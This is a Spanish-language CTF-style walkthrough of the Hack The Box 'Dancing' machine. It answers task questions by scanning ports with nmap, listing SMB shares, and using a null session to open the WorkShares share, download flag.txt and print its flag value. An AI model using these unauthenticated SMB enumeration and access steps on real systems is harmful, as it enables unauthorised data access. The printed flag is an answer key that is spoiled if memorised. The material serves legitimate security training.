Task 1
1
| What does the 3-letter acronym SMB stand for?
|
El acrónimo de SMB es Server Message Block.
Task 2
1
| What port does SMB use to operate at?
|
De manera predeterminada SMB se configura en el puerto 445. Para confirmarlo podemos realizar un escaneo nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
| ─ oxro [at] kali 🚀 [on] ~/Desktop/htb/Dancing
╰─ >> nmap -p- --open -sS -n -Pn 10.129.63.75
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-15 15:34 +0200
Nmap scan report for 10.129.63.75
Host is up (0.11s latency).
Not shown: 64813 closed tcp ports (reset), 711 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 40.83 seconds
|
En este caso vemos que el puerto 445 abierto.
Task 4
1
| What is the 'flag' or 'switch' that we can use with the smbclient utility to 'list' the available SMB shares on Dancing?
|
Podemos revisar el manual de smbclient en este caso al parámetro para listar los recursos compartidos que ofrece el servidor SMB es el -L.
Task 5
1
| How many shares are there on Dancing?
|
Vamos a listar los registros compartidos que ofrece:
1
2
3
4
5
6
7
8
9
10
11
12
| ╭─ oxro [at] kali 🚀 [on] ~/Desktop/htb/Dancing
╰─ >> smbclient -L //10.129.63.75/ -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
WorkShares Disk
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.63.75 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
|
Vemos que ofrece 4 recursos.
Task 6
1
| What is the name of the share we are able to access in the end with a blank password?
|
Vamos a usar netexec para que nos de más información de que permisos tenemos en el recurso compartido con una Null Session.
1
2
3
4
5
| ─ oxro [at] kali 🚀 [on] ~/Desktop/htb/Dancing
╰─ >> netexec smb 10.129.63.75 --shares -u '' -p ''
SMB 10.129.63.75 445 DANCING [*] Windows 10 / Server 2019 Build 17763 x64 (name:DANCING) (domain:Dancing) (signing:False) (SMBv1:None) (Null Auth:True)
SMB 10.129.63.75 445 DANCING [+] Dancing\:
SMB 10.129.63.75 445 DANCING [-] Error enumerating shares: STATUS_ACCESS_DENIED
|
En este caso no nos permite enumerarlo. Probando recursos compartidos el que pudimos acceder como null session es WorkShares:
1
2
3
4
| ╭─ oxro [at] kali 🚀 [on] ~/Desktop/htb/Dancing
╰─ >> smbclient //10.129.63.75/WorkShares -N
Try "help" to get a list of possible commands.
smb: \>
|
Task 7
1
| What is the command we can use within the SMB shell to download the files we find?
|
Para bajarnos recursos del servidor en SMB podemos usar GET.
Task 8
1
| Submit the flag located on the SMB share.
|
Haciendo un ls encontramos 2 directorios:
1
2
3
4
5
6
7
| smb: \> ls
. D 0 Mon Mar 29 10:22:01 2021
.. D 0 Mon Mar 29 10:22:01 2021
Amy.J D 0 Mon Mar 29 11:08:24 2021
James.P D 0 Thu Jun 3 10:38:03 2021
5114111 blocks of size 4096. 1734229 blocks available
|
En Amy.J solo hay notas no relevantes. Vamos a ver el directorio James.P:
1
2
3
4
5
6
7
| smb: \> cd James.P\
smb: \James.P\> ls
. D 0 Thu Jun 3 10:38:03 2021
.. D 0 Thu Jun 3 10:38:03 2021
flag.txt A 32 Mon Mar 29 11:26:57 2021
5114111 blocks of size 4096. 1734229 blocks available
|
Vemos el archivo flag.txt, vamos a descargarlo:
1
2
| smb: \James.P\> get flag.txt
getting file \James.P\flag.txt of size 32 as flag.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
|
Ahora sin salir de SMB con ! podemos ejecutar comandos en nuestro host, vamos a leer la flag:
1
2
| smb: \James.P\> !cat flag.txt
5f61c10dffbc77a704d76016a22f1664
|
